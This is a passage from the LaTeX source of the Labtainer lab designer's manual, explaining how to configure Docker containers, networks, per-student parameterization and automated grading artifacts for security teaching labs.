will create a second container for your lab, +named ``joe\_computer''. If you again run the rebuild.py script, you will see two virtual +terminals, each connected to one of your two independent computers. Use +\begin{verbatim} + new_lab_setup.sh -h +\end{verbatim} +\noindent to view the operations available in that script. + +The following sections describe how to configure the execution environments on your components, +and how to define virtual networks connected to the components. + +\section {Defining the lab execution environment} +\label{execution environment} +A given lab typically requires some set of software packages, and some +system configuration, e.g., network settings, and perhaps some lab-specific +files. It can include multiple containers, each appearing as distinct +computers connected via networks. The execution environment seen by a +student when interacting with one of these ``computers'' is therefore defined +by the configuration of the associated container. + +Software packages are defined in each container's Dockerfile, described in +the subsection below. That is followed by subsection \ref{start config} describing network definitions, +(and other computer attributes) in the start.config file. The remaining subsections then +described populating the user HOME directory and system directories, and methods for starting +system services and miscellanious envrionment settings. + +Labtainer containers, by default, present students with a virtual terminal and a bash +shell requiring no login. Alternate initial environments, including use of the login program, are +described in section \ref{student start}. + +\subsection {Docker files} +A default Labtainer-specific Dockerfile is placed in the new lab's ``Dockerfiles'' +directory when the new lab is created. And additional Dockerfiles are added when the +{\tt new\_lab\_setup.sh -a} script adds computers to the lab. We use standard Docker file syntax, which is described at +\url{https://docs.docker.com/engine/reference/builder/} + +Simple labs should be able to use the default Dockerfile copied by the +new\_lab\_setup.py script. That Dockerfile refers to a base Labtainer +image that contains the minimum set of Linux packages necessary to +host a lab within the framework. The default +execution environment builds off of a recent Ubuntu image. + +\noindent Each container has its own Dockerfile within the +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/dockerfiles +\end{verbatim} +\noindent directory. The naming convention for Dockerfiles is +\begin{verbatim} + Dockerfile.[labname].[container_name].student +\end{verbatim} + +The first line of each Dockerfile identifies the baseline Labtainer image to be pulled from the Docker Hub. +The initial default image is a basic Ubuntu system with a minimal set of packages. To use an +alternate image having additional networking packges (e.g., tcpdump, xinetd, sshd), change the first line to: +\begin{verbatim} +FROM mfthomps/labtainer.network +\end{verbatim} +\noindent Other alternate images include: +\begin{itemize} +\item labtainer.centos -- A CentOS server with systemd and the true ``init'' initial process. +\item labtainer.lamp -- A CentOS server with Apache, Mysql and PHP, (the LAMP stack) +\item labtainer.firefox -- An Ubuntu container with the Firefox browser. +\item labtainer.wireshark -- The labtainer.network with wireshark added. +\item labtainer.java -- An Ubuntu container with the Firefox browser and the open JDK. +\item labtainer.kali -- A Kali Linux system with the Metasploit framework. +\item labtainer.metasploitable -- The Metasploitable-2 vulnerable server. +\end{itemize} +Refer to the Dockerfiles in {\tt \$LABTAINER\_DIR/scripts/designer/base\_dockerfiles} to see which +software packages are included within each baseline image. + +The Dockerfile is used to add packages to your container, e.g., +\begin{verbatim} +RUN apt-get update && apt-get install -y some_package +\end{verbatim} + +You will also see ``ADD'' commands in the Docker file that populate the container +directories with lab-specific files such as described in section \ref{home files}. + +Next, you must also describe your containers within the \textit{start.config} file as described below. + +\subsection{Container definitions in start.config} +\label{start config} +Most single container labs can use the automatically generated start.config file +without modification. Adding networks to containers and defining users other than the +default "ubuntu" user requires modification of the start.config file. +The following describes the major sections of that configuration file. Most of the configuration +entries can be left alone for most labs. +\begin{itemize} +\item GLOBAL\_SETTINGS -- These lab-wide parameters include: + +\begin{itemize} +\item GRADE\_CONTAINER -- Deprecated +\item HOST\_HOME\_XFER [dir name] -- Identifies the host directory via which to transfer student artifacts, relative to +the home directory. For students, this is where the zip files of their results end up. For instructors, this is +where zip files should be gathered for assessment. +\item LAB\_MASTER\_SEED [seed] -- The master seed string for this lab. It is combined with the student email +address to create an instance seed that controls parameterization of individual student labs. +\item REGISTRY [registry] -- The id of the Docker Hub registry that is to contain the lab images. +See \ref{publishing} for details on the use of this keyword. +\item COLLECT\_DOCS [yes/no] -- Optional directive to collect lab/docs content as part of student artifacts. +These are then available to the instructor in the labtainer\_xfer/[lab]/docs directory. Also see \ref{instructions}. +\item CHECKWORK [yes/no] -- Optional directive to disable (set to ``no'') ability of student to check their own work from the labtainer-student directory. +\end{itemize} + +\item NETWORK [network name] -- One of these sections is require for each network within the lab. In addition to +providing a name for the network, the following values are defined: + +\begin{itemize} +\item MASK [network address mask] -- The network mask, e.g., 172.25.0.0./24 +\item GATEWAY [gateway address] -- The IP address of the network gateway used by Docker to communicate with the +host. Please note that to define a different network gateway for the component, you should +use the {\tt set\_default\_gw.sh}. This GATEWAY field should not name the IP of any of your other components. +See the the {\tt routing\_basics2} lab for examples. +\item MACVLAN\_EXT [N] -- Optional, causes the Docker network driver to +create and use a macvlan tied to the given Nth ethernet interface (in alphabetical order) that lacks an +assigned IP address. The network device is expected to be on a ``host-only'' VM network. The VMM should disable the +DHCP server on this network. The network adaptor itself needs to be placed in primiscous mode on the +Linux VM, e.g., using ``sudo ifconfig enp0s8 promisc.'' +These types of interfaces can be used to communicate with external hosts, e.g., other VMs +as described in \ref{external hosts} +\item MACVLAN -- Similar to MACVALN\_EXT, except a macvlan will not be created unless the Labtainer lab +is started as a multi-user lab as descrbed in \ref{multi user}. +\item IP\_RANGE [range] -- Optional, allocates an ip range to the network, e.g., 192.168.1.4/30 +\end{itemize} + +\item CONTAINER [container name] -- One of these sections is required for each container in the lab. +Default values for container sections are automatically created by the {\tt new\_lab\_setup.py} script. +In addition to naming the container, the following values are defined: + +\begin{itemize} +\item TERMINALS [quantity] -- The number of virtual terminals to open and attach to this +container when a lab starts. If missing, it defaults to 1. Terminal titles are set to the +bash shell prompt. A value of 0 suppresses creation of a terminal, and a value of -1 prevents +the student from attaching a terminal to the container. +\item TERMINAL\_GROUP [name] -- All virtual terminals within the same group are organized as +tabs within a single virtual terminal. Terminal group names can be arbitrary strings. +\item XTERM [title] [script] -- The named script is executed in a virtual terminal with the +given title. The system will change to the user's home directory prior to executing the +script. The script should be placed in container \_bin directory, i.e., +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container]/_bin +\end{verbatim} +\noindent If the title is ``INSTRUCTIONS'', no script is necessary and the instructions.txt file +in the container home directory will be displayed. +\item USER [user name] -- The user name whose account will be accessed via the virtual terminals. +This defaults to ``ubuntu.'' +\item PASSWORD [password] -- The password for the user name whose account will be accessed via the virtual terminals. +This defaults to the user name defined above. +\item \verb![network name]! [ip address] -- Network address assignments for each network (defined via a NETWORK section), +that is to be connected to this container. A separate line should be entered for each network. The given ip address +can be one of the following: +\begin{itemize} +\item An IP address +\item An IP address with an optional MAC address assignment as a suffix following a colon, e.g., 172.25.0.1:2:34:ac:19:0:2. +\item An IP address with an optional clone offset, e.g., {\tt 172.25.0.1+CLONE} to cause each clone to be assigned an address +from a sequence starting with the given address. Only intended for use with containers having the {\tt CLONE} option described below. +\item Similar to the use of the {\tt +CLONE} suffix, {\tt CLONE\_MAC} only takes effect if the lab is started in multi-user mode. +When started with the {\tt --workstation} switch, this directs the system to generate a MAC address whose last four bytes match +those of the host network interface. When stated as a multi-user lab with all containers on one VM, e.g., the +{\tt --client\_count} switch, then the allocated IP address is incremeted by one less than the clone instance number. +\item If {\tt AUTO} is provided as the address, an address is chosen for you from the subnet range. +\end{itemize} +Multiple IP addresses per network interface by appending a {\tt :n} to the {\tt network name}, e.g., +\begin{verbatim} + MY_LAN:1 172.24.0.3 + MY_LAN:2 172.24.0.4 +\end{verbatim} +\item SCRIPT [script] -- Optional script to provide to the Docker create command, defaults to ``bash''. This must be set to +``NONE'' for CentOS-based components, Ubuntu systemd components, or other images that run a true Linux init process.). +\item ADD-HOST [host:ip | network] -- Optional addition to the /etc/hosts file, a container may have multiple ADD-HOST entries. +If a network name is provided, then every component on that network will get an entry in the hosts file. +\item X11 [YES/NO] -- Optional, defaults to NO. If YES, the container mounts the TCP socket used by the hosts X11 server, +enabling the container to run applications with GUIs, e.g., browsers or wireshark. See sql-inject as an example. See the +Notes section (\ref{Notes}) at the end of this manual for tips on using Firefox and Wireshark. +\item CLONE [quantity] -- optional quantity of copies of this container to create. Each copy is assigned a monotonically +increasing integer starting with one, and this value can be used for the network address as describe above, and within +parameterization as described in section \ref{parameterize}. This option is not intended for use in creating multi-user +labs. + +\end{itemize} +\end{itemize} + +A simple example of a two-container lab with network settings in the start.config file can be found in +\begin{verbatim} + $LABTAINER_DIR/labs/telnetlab +\end{verbatim} +Entries in the start.config file can be parameterized as described in section \ref{parameterize}, e.g., to allocate +random IP addresses to components. + + +\subsection {Lab-specific files in the student's home directory} +\label{home files} +Files that are to reside relative to the student's \$HOME directory are placed in the +new lab container directory. For example, if a lab is to include a source code file, that +should be placed in the lab container directory. The file will appear in the student's +home directory within the container when the container starts. The lab container +directory is at: + +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name] +\end{verbatim} +The container name in labs with a single container matches the labname by default. + +All files and directories in the lab container directory will be copied to the student's HOME +directory except for the \_bin and \_system directories. +Each initial Dockerfile from the templates include this line: +\begin{verbatim} + ADD $labdir/$lab.tar.gz $HOME +\end{verbatim} +to accomplish the copying. Except as noted below, Dockerfiles should not include any other ADD commands +to copy files to the HOME directory. +\subsubsection{Large or numerous files in the home directory} \label{large files} +If there are large sized, or a high quantity of files that are to be placed relative to a +container home directory, those should be placed into a ``home\_tar'' directory at: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container_name]/home_tar/ +\end{verbatim} +\noindent Use of this technique prevents these files from being collected as student artifacts, which +otherwise include copies of everything relative to the home directory. This +can save considerable time and space, e.g., on the instructor's computer that must collect +all student artifacts. +The individual files should exist in the home\_tar directory, and the framework automatically +creates the tar file for transfer to the Docker image, (and will do so if an existing tar file +is older than any file in the directory). Manifests can be used for the home\_tar content +as described in \ref{manifest}. You can force collection of selected files from the home\_tar +by putting the filename into a file at: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container_name]/_bin/noskip +\end{verbatim} +\noindent Files whose basenames match any found in {\tt noskip} will be collected. + +Alternately, a file at /var/tmp/home.tar will be expanded into the user home directory. +Use the Docker {\tt COPY} directive to place a file here. See the +\begin{verbatim} +$LABTAINER_DIR/scripts/designer/base_dockerfiles/Dockerfile.labtainer.firefox +\end{verbatim} +for an example. These files will not be collected unless they are newer than the original file, +or if the base file name appears in the {\tt noskip} list described above. + +\subsection{Lab-specific system files} +All files in the +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/_system +\end{verbatim} +directory will be copied to their corresponding paths relative to the root directory. +For example, configuration files for /etc should appear in \_system/etc/. + +The initial Dockerfile from the templates include this line: +\begin{verbatim} + ADD $labdir/sys_$lab.tar.gz / +\end{verbatim} +\noindent to accomplish the copying. +If a lab contains a large quantity of system files, or large files, those +can be placed into the directory named: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/sys_tar +\end{verbatim} +either as individual files, or in a ``sys.tar'' archive. In the former case, +the framework will automatically create the sys.tar file. This technique +can save time in building lab images becauase the files do not need to be +archived for each build. + +In general, files modified and maintained by the designer should go into the +\_system directory while static system files should go into the sys\_tar directory. + +\subsection {System services} +The Dockerfile ``ENTRYPOINT'' command can be used to start a system service. The general Docker +model is that a single Docker container runs a single service, with logging being forwarded to +the host. Labtainers disregards this model because our goal is to make a container look more like a Linux +system rather than a conformant Docker container. Labtainer Dockerfiles for Ubuntu and Centos containers +use systemd based images that run the /usr/sbin/init process. \footnote {Now deprecated Ubuntu-based Labtainer Dockerfiles included an +ENTRYPOINT command that launches a \textit{faux\_init} script that starts rsyslog, (so that system logs +appear in /var/log), and runs rc.local.} The labtainer.network configuration of the baseline Dockerfile also starts xinetd, +which will then fork services, e.g., the sshd, per the /etc/xinet.d/ configuration files. + +The centos-logs lab provides an example of forcing the student to login using the traditional +login program, as described in section \ref{student start}. + + +\subsection {Instructions for Students} \label{instructions} +Lab instructions for students can be displayed in a virtual terminal by placing an +``instructions.txt'' file within the home directory of one of the containers. Refer to existing +labs for conventions. Additionally, textual message can be displayed to the student before any +of the lab virtual terminals are created. Any text within the +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/docs/read_first.txt +\end{verbatim} +\noindent file will be displayed on the Linux host in the terminal in which the student +starts the lab. Any ``LAB\_MANUAL'' string in that file will be replaced with the full path +to a [labname].pdf file within that same docs directory. And ``LAB\_DOCS'' is replaced by the +path to the lab docs directory. One intended use is to prompt the +student to open a PDF lab manual and perhaps read parts of it prior to continuing with the lab. +Another intended use is to display the path to a reporting template that a student is to use +for answering lab-specific questions and note taking. If the name of the symbols are prefaced +by ``file://'', then the paths will display as links that can be opened via a right click. +If the start.config file includes ``COLLECT\_DOCS YES'', the content of the lab/docs directory will be +included with the student artifacts and available extracted into the intstrutor's +labtainer\_xfer/[lab]/docs directory. + +\subsection {Running programs in Virtual Terminals} +\label {student start} +Programs can be started automatically within virtual terminals using two methods. +The first is the ``XTERM'' directive in the container section in the start.config file +described in \ref{start config}. That is intended for programs whose results are displayed +within the virtual terminal, (see the plc lab for examples). The second method is +intended for user authentiation and for starting GUI based programs +that will use the Linux host Xserver. If a file exists at: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/_bin/student_startup.sh +\end{verbatim} +it will be executed from each virtual terminal created for the container. +See the sql-inject lab and the centos-log lab examples, with the latter +running the login program to require students to login prior to getting a shell prompt. +\footnote{On CentOS systems, copy the login program from labs/centos-log/centos-log/\_system/sbin/login +to your container's \_system/sbin directory. The login program from Ubuntu works as is.} +Note that on CentOS systems, the student\_startup.sh script will be executed twice: first +as root and then as the default user. Use constructs such as the following to avoid repeating +operations: +\begin{verbatim} + id | grep root >>/dev/null + result=$? + if [[ $result -eq 0 ]]; then + # stuff to do as root + else + # stuff to do as default user + fi +\end{verbatim} +it will be executed from each virtual terminal created for the container. +See the sql-inject lab and the centos-log lab examples, with the latter +running the login program to require students to login prior to getting a shell prompt. +\footnote{On CentOS systems, copy the login program from labs/centos-log/centos-log/\_system/sbin/login +to your container's \_system/sbin directory. The login program from Ubuntu works as is.} +Note that on CentOS systems, the student\_startup.sh script will be executed twice: first +as root and then as the default user. Use constructs such as the following to avoid repeating +operations: +\begin{verbatim} + id | grep root >>/dev/null + result=$? + if [[ $result -eq 0 ]]; then + # stuff to do as root + else + # stuff to do as default user + fi +\end{verbatim} + + + +\subsection{Final lab environment fixup} +The initial environment encountered by the student is further refined using +the optional \_bin/fixlocal.sh script. The framework executes +this script the first time a student starts the lab container. For example, +this could be used to compile lab-specific programs afer they have been parameterized, +(as described below in \ref{parameterize}). Or this script could perform final configuration adjustments +that cannot be easily performed by the Dockerfile. These scripts are per-container +and reside at: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/_bin/fixlocal.sh +\end{verbatim} +\noindent Note the fixlocal.sh script runs as the user defined in the start.config for the container, +regardless of whether root is set as the user in the Dockerfile. + + +\footnote{Use of {\tt sed -i ...} to modify configuration files (e.g., in etc), might result in overwriting symbolic links. +Use {\tt sed -i --follow-symlinks ...} to avoid that pit.} + +\subsection{Automatic copying files from containers to the host} +This feature no longer has an intended use, but it is available if you have one. +Files are identified within +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/config/files_to_host.config +\end{verbatim} +\noindent with a format of ``container:filename''. Any named files within the home directory of +the named container will be copied to the host computer into a directory named by the lab, relative +to the Labtainer working directory. + +\section{Parameterizing a lab} +\label{parameterize} +This section describes how to individualize the lab for each student to discourage +sharing of lab solutions. This is achieved by defining symbols within source +code or/and data files residing on lab containers. \footnote{An exception is the +start.config file, which can be parameterized as described in the syntax description.} +The framework will replace these symbols with randomized values +specific to each student. The {\tt config/parameter.config} file identifies the files, and +the symbols within those files that are to be modified. A simple example can be found in +\begin{verbatim} + $LABTAINER_DIR/labs/formatstring/formatstring/config/parameter.config +\end{verbatim} + +That configuration file causes the string {\tt SECRET2\_VALUE} within the file: +\begin{verbatim} + /home/ubuntu/vul_prog.c +\end{verbatim} +to be replaced with a hexidecimal representation of a random value +between 0x41 and 0x5a, inclusive. + +This symbolic replacement occurs when the student first starts the lab container, +but before the execution of the \_bin/fixlocal.sh script. Thus, in the formatstring +lab, the executable program resulting from the fixlocal.sh script will be specific +to each student (though not necessarily unique). + +\subsection{Parameterization configuration file syntax} +Symbolic parameter replacement operations are defined within the {\tt config/parameter.config} file. +Each line of that file must start with a \verb!" : "!, which is any unique string, and +is followed by one of the following operations: + +\begin{verbatim} + RAND_REPLACE : : : : + Replace a symbol within the named file with a random value within a given + range. The random value generator is initialized with the lab instance + seed. + + where: - the file name (file must exist) where is + to be replaced. The file name is prefixed + with a container name and a ":", (the container + name is optional for single-container labs). + This may be a list of files, delimited by semicolons. + A file name of "start.config" will cause symbols + in the lab's start.config file to be replaced, e.g., + to randomize IP addresses. + - the string to be replaced + and specifies the lower and upper bound + to be used by random generator + example: + + some_parameter_id : RAND_REPLACE: client:/home/ubuntu/stack.c + : BUFFER_SIZE : 200 : 2000 + (all one line) will randomly replace the token string "BUFFER_SIZE" found in + file stack.c on the mylab.client.student container with a number ranging from + 200 to 2000 + + RAND_REPLACE_UNIQUE : : : : + Identical to RAND_REPLACE, except randomly selected values are never resused + within any given upper/lower bound range. This is intended for use on IP + addresses, e.g., 198.18.1.WEB_IP. It is suggested that random ranges be selected + such that they do not intersect any non-random address allocations. + + HASH_CREATE : : + Create or overwrite a file with a hash of a given string and the lab + instance seed. + where: - the file name that is to contain the resulting hash. + The file name is prefixed with a container name + and a ":", (the container name is optional for + single-container labs). + This may be a list of files, delimited by semicolons + The file name is is optionall, (in cases of a single + container). This may be a + list of files, delimited by semicolons. + - the input to a MD5 hash operation (after concatenation + with the lab instance seed) + + + example: + some_parameter_id : HASH_CREATE : client:/home/ubuntu/myseed + : bufferoverflowinstance + A file named /home/ubuntu/myseed will be created (if it does not exist), + containing an MD5 hash of the lab instance seed concatentated with the + string 'bufferoverflowinstance'. + + HASH_REPLACE : : : + Replace a symbol in a named file with a MD5 hash of a given string + concatenated with the lab instance seed. + where: - the file name (file must exist) where is + to be replaced. The file name is prefixed + with a container name and a ":", (the container + name is optional for single-container labs). + This may be a list of files, delimited by semicolons. + - a string that will be replaced by the hash + - a string contatenated with the lab instance seed and hashed + + example: + some_parameter_id HASH_REPLACE : client:/root/.secret : + ROOT_SECRET : myrootfile + The string "ROOT_SECRET" in file /root/.secret will be replaced with an MD5 hash + of the concatenation of the lab instance seed and "myrootfile". + + CLONE_REPLACE : : : + Replace a symbol with the clone instance number of a container per the CLONE option + in the start.config file. This is intended for use in providing instance- + unique values on cloned containers, e.g., to assign a unique password to + each container based on the clone number. If the container has no clone + instance number then the symbol is replaced with an empty string. +\end{verbatim} + +The parameter\_id fields may be referenced during the automated grading function, described below +in section \ref{goals.config}. + +\subsection{Synchronizing startup and parameterization} +Parameterizing occurs subsequent to container ``boot'', but prior to running the fixlocal.sh script. +The Ubuntu based images include a {\tt waitparam.service} that delays reporting its initialization to +systemd until parameterization has completed. That service is configured to run prior to rc.local. +The service unit file is at: +\begin{verbatim} + trunk/scripts/designer/system/lib/systemd/system +\end{verbatim} +If you have defined system services that should not start until parameterization has occurred, then +add this to the {\tt[Unit]} section of their service unit file: +\begin{verbatim} + After=waitparam.service +\end{verbatim} +\noindent Note that if your {\tt fixlocal.sh} script starts any such service, you must create a flag +directory from within your {\tt fixlocal.sh} script to unblock the waitparam.service. The following +lines would achieve that: +\begin{verbatim} + PERMLOCKDIR=/var/labtainer/did_param + sudo mkdir -p "$PERMLOCKDIR" +\end{verbatim} + +\subsection{Parameterizing start.config} +Parameterizing of the start.config file occurs prior to Docker container creation. The framework +modifies a copy of the file stored in {\tt /tmp/start.config} and uses that when assigning attributes to containers, +e.g., IP addresses. Currently only IP addresses within the start.config can parameteterized (e.g., not user names). + +\subsection{Simple Parameterization for Checking Own-work} +The simplest, though by no means robust, strategy for ensuring students +have turned in their own work, (vice getting a zip file from a friend and simply +changing the name of the file), is to individualize some file on one of the containers, +and then check that file and the archive file names during grading. The framework does +this automatically and reports on any student archive that does not seem to have +originated from a Labtainer initiated with that student's email address. + + +\section{Automated assessment of student labs} +\label{assessment} +This section describes how to configure a lab for automated assessment of student work. +Note the framework does not require automated assessment, e.g., the +``results'' of a lab may consist entirely of a written report submitted by the student. +Support for automated collection of written reports is described in \ref{instructions} +and the use of COLLECT\_DOCS in the start.config file. + +The goal of automated assessment is to provide instructors with some confidence that +students performed the lab, and to give instructors insight into which parts +of a lab students may be having difficulty with. The automated assessment functions are +not intended to standardize each student's approach to a lab, rather the goal is to permit +ad-hock exploration by students. Therefore, lab designer should consider ways to identify +evidence that steps of a lab were performed rather than trying to identify everything a student +may have done in the course of the lab. + +Automated assessment is achieved by first generating artifact files while the student works. That +is described in the first subsection below. Next, artifacts within those files are identified +as described in section \ref{results.config}. The values of the resulting artifacts are then +compared to expected values, as per section \ref{goals.config}. + +\subsection{Artifact files} +\label{artifact files} +The files from which artifacts are derived include persisent data, such as system logs and +{\tt .bash\_history}, as well as +timestamped snapshots of transitory data such as stdout of a program. Lab designers can also generate +customized artifacts in response to student actions using scripts that automatically execute when selected +programs or utilities are executed -- or when selected files are accessed. The following paragraphs +describe how these artifacts are generated. + +The Labtainer framework use of timestamps allows designers to express temporal +relationships between artifacts, and thus between events. For example, the designer can determine if +two distinct artifacts were part of the same stdout stream. Or if artifacts in the stdout stream from one +program were occuring during the invocation of a different program that generated other specific artifacts. +The framework also can incorporate +timestamps from standard log file formats, e.g., syslog, allowing the designer to determine if some logfile +entry occurred during the invocation of a program whose stdout stream contains selected artifacts. +As a more concrete example, the use of timestamps allows the designer to determine that a spcific web log +record occurred during invocation of some program that produced a specific artifact. + +\subsubsection{Capturing stdin and stdout} +\label{stdin and stdout} +Each time the student invokes a selected program or utility, the +framework captures copies of standard input and standard output, (stdin and stdout) into timestamped file sets. +This is transparent to the student. (Also see the following section for capturing +program output other than stdout.) These timestamped file sets, selected system logs, and everything relative to +the student's home directory, are automatically packaged when the student completes the lab. +These packages of artifacts are then transferred to the instructor, (e.g., via email or a LMS), and +ingested into the instructor's system where lab assessment occurs. Timestamped stdin and stdout files +are captured in \texttt{\$HOME/.local/result} + +By default, stdin and stdout for all non-system programs is captured, e.g., the results of an ``ls'' command +are not captured. The stdin and stdout of system programs\footnote{The ``source'' directive is not a system +program, and should not be included in a treataslocal file.} will be captured if the program +names appear at the beginning of a line in the \textit{treataslocal} file at +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/_bin/treataslocal +\end{verbatim} +\noindent The basename of the treataslocal entries are compared to the basename of each command. +\footnote{In other words, if the treataslocal entry is: \texttt{usr/bin/nmap}, the path leading to nmap is ignored.} +Starting of services can be monitored through use of treataslocal entries having a ``.service'' suffix, +e.g., {\tt httpd.service} would generate timestamped artifact files whenever httpd was started (or restarted) +using systemctl, service or /etc/init.d/... See section \ref{time delimeter} for the intended use of this feature. + +Non-system programs can be excluded from stdin/stdout capturing by including their names in +a ``ignorelocal'' file in that same directory. \footnote{These should not include path information, just the program name.} + +\subsubsection{Capturing program file output} +\label{program output} +Sometimes program file output is of interest to automated assessment, e.g., the program +may not have useful stdout. +The treataslocal entries can include optional output file identifiers that +cause timestamped copies of specified files to be made whenever the named program terminates. +If program file output from local programs is to be captured in timestamp files (in addition +to the stdout and stdin), simply include those program names in the treataslocal file. +These output file identifiers are of the form: +\begin{verbatim} +program delim_type:delim_value + where delim_type is one of: + starts -- the output file name is derived from the + substring following the given delim_value within the + command line typed by the student. For example, + "dd starts:of=" for a command line of + "dd in=myfs.img of=newfile" would yield an output + file name of "newfile". + + follows -- the output file name is the command line + token following the given delim_value. For example, + "myprogram follows:myprogram" for a command line of + "myprogram outfile" would yield "outfile" as the output + file name. + + file -- the delim_value is the output file name +\end{verbatim} +\noindent The resulting timestamped files are located with the stdin and stdout files in .local/result + +\subsubsection{Bash History} +The framework collects all student bash history into the \texttt{\$HOME/.bash\_history} and \newline +\texttt{/root/.bash\_history} files. These files are +available for reference as an artifact file. + +\subsubsection{System logs} +All files referenced in the {\tt results.config} file, (described below in section \ref{results.config} +will be collected into the artifact archive. + +\subsubsection{Capturing information about the environment} +\label{precheck} +Some labs require the student to alter system configuration settings, +e.g., using the sysctl command to affect ASLR. A \textit{precheck.sh} script in: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/_bin +\end{verbatim} +is intended to contain whatever commands are necessary to record the +state of the system at the time a program was invoked. The stdout of +the precheck.sh script is recorded in a timestamped \textit{precheck.stdout} +file. The timestamp of this file will match the timestamp of the stdin and +stdout artifacts associated with the command that caused precheck.sh to run. +The precheck.sh is passed in the full path of the program as an argument, thereby +allowing the designer to capture different environment information for different commands. + +As another example, consider the file-deletion lab \textit{precheck.sh} script. +It mounts a directory, lists its content, and unmounts it. This all occurs +transparently to the student, and, in this example, helps confirm a specific file +was in fact deleted at the time of issuing a command to recover deleted content from +the volume. + +In other situations, you may wish to capture environment information when selected +commands are executed, even though you have no interest in stdin or stdout of those +commands. For example, imagine you want to capture the file permissions of /usr/bin/tcpdump +whenever that command is executed. This can be achieved by including /usr/bin/tcpdump in a +list within a file at: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/_bin/forcecheck +\end{verbatim} +\noindent and then include \texttt{ls -l /usr/bin/tcpdump} in the precheck.sh script. +Note that the \textit{forcecheck} list of programs must include the full path name. +The \textit{forcecheck} file can be used instead of a \textit{treataslocal} file entry +for those cases where stdin and stdout are not required for goal assessment. An example of the use of +forcecheck can be found in the \textit{capabilities} lab. + +\subsubsection{Capturing file access events} +\label{notify} +File creation, reading and modification events can be recorded using a combination of +a {\tt notify} file and an optional {\tt notify\_cb.sh} script at: +\begin{verbatim} + $LABTAINER_DIR/labs/[labname]/[container name]/_bin/ +\end{verbatim} +\noindent The {\tt notify} file will name directory or file paths and the access modes of interest, one entry +per line, having this format: +\begin{verbatim} + [output file] +\end{verbatim} +\noindent +where the {\tt file\_path} is the absolute path to the file of interest, and {\tt mode} is +one of the following: +\begin{itemize} +\item {\tt CREATE} Assumes the path is to a directory. This will capture any file or directory +creation within the named directory. +\item {\tt ACCESS} will capture any read of the file named by the path. +\item {\tt MODIFY} will capture any write to the file named by the path. +\end{itemize} +\noindent The optional {\tt output file} will be used for the timestamped filename of the +output from the event (instead of the default {\tt notify.stdout.YYMMDDHHMM} +\noindent Each time an event occurs matching a criteria specified in the {\tt notify} file, +the {\tt notify\_cb.sh} script is invoked (if it exists), passing in the given path and access mode. +The script is also provided with the most recent command issued by either the container user, or the +root account (whichever is more recent). +If there is no {\tt notify\_cb.sh} script, then the output consists of the file\_path, the most recent +command, and the associated user (e.g., root). +See the {\tt acl} lab for an example. + +The output from the notify event is captured in timestamped files, just as +those resulting from events described in Section \ref{precheck}. If the optional output file +provided in the {\tt notify} list is given as {\tt precheck}, then +events resulting from program invocation, e.g., due to use of +a {\tt forcecheck} file, can be recorded in the very same timestamped file as events resulting +from a {\tt notify} file. In such cases, output from the former will preceed output from the latter +within the file. The framework will append the {\tt notify} output to any timestamped {\tt precheck.stdout} +file that was created up to two seconds prior to the {\tt notify} event. Inclusion of both outputs into +one timestamped file allows the designer to identify events that occured as part of a single program +invocation. Again, see the {\tt acl} lab for an example. + +\subsubsection{Generating results upon stopping the lab} +The lab designer can cause a script to run on selected containers whenever the student stops a lab. +This is achieved by creating an script or executable program at: +\begin{verbatim} +trunk/labtainers/lab//_bin/prestop +\end{verbatim} +The stdout of any such program will be written to a timestamped file named {\tt prestop.stdout.timestamp} +The framework ensures that all such scripts on all of the lab containers will complete prior to +shutting down any of the containers, and all the timestamps +will be the same. Note the Labtainers framework generally allows students to acheive their goals at any +point in their exploration, and the labs typically do not require the student to leave the system in any +particular state. In other words, students should be free to continue experimenting subsequent to getting +the correct results. Thus, any use of the prestop feature should be accompanied by a lab manual entry +advising the student that they may restart a lab after issuing the {\tt stoplab} command. \footnote{Perhaps a +{\tt goalsmet} type of command should be added that does nothing but record prestop results without actually +stopping the lab?} + +\subsubsection{Artifact archives} +Artifacts from student labs are combined into a zip file that is placed in the student transfer +directory, typically at {\tt ~/labtainer/xfer/}. Students provide this file to their +instructor for automated assessment, e.g., via email or an LMS. + +Other uses for student artifacts are facilitated through use of a script named: +\begin{verbatim} +labtainers/labs//bin/postzip +\end{verbatim} +\noindent If such a script exists, it is executed after all of the student artifacts are zipped up. See +the cyberciege lab for an example of postzip processing. + +\subsection{Artifact result values} +\label{results.config} +The automated assessment functions encourage labs to be organized into a set of distinct ``goals''. +For each goal, the lab designer identifies one or more specific fields or attributes of artifact files that +could be compared to ``expected'' values. These lab-specific artifacts are identified within the +file at: +\begin{verbatim} + labtainer/trunk/labs//instr_config/results.config file +\end{verbatim} +\noindent Artifact files are identified in terms of: +\begin{enumerate} +\item The program that was invoked +\item Whether the artifact is in stdin or stdout or is program output (prgout) as descrbed in section \ref{program output} +\item An explicit file name, either as an absolute path or relative to the user HOME directory. These are intended +to be persistent log files, e.g., syslogs. +\end{enumerate} + +One or more properties of each artifact file are assigned symbolic names, referred to herein as \textit{results}, which +are then referenced in the goals.config file to assess whether results match expected values. Directives within the +results.config file assign each result a value having one of three types: +\begin{itemize} +\item Boolean, e.g., did an artifact file contain a specific string or regular expression? +\item String, e.g., the third space-delimited token on the first line containing the string "Audience says:" +\item Numeric such as the quantity of lines in an artifact file, or the quantity of occurances of a string in an artifact file. +\end{itemize} + +There are typically multiple instances of each result, each with its own associated timestamp. The framework automatically +associates timestamps with results, thereby allowing the designer to express temporal relationships between results +as introduced in section \ref{artifact files} The timestamp associated with any given result will be derived from different +sources depending on the nature of the results.config directive: +\begin{itemize} +\item The timestamp of the artifact file. For example, each stdout artifact file name includes a timestamp reflecting when the +program was invoked, (and its corresponding stdin file contains an entry reflecting when the program terminated). +\item A timestamped entry from a log file, e.g., an entry in a web log, that matches criteria specified in the results.config +directive. +\item The invocation times of {\tt time\_delimiter} programs, syntactically associated with system log 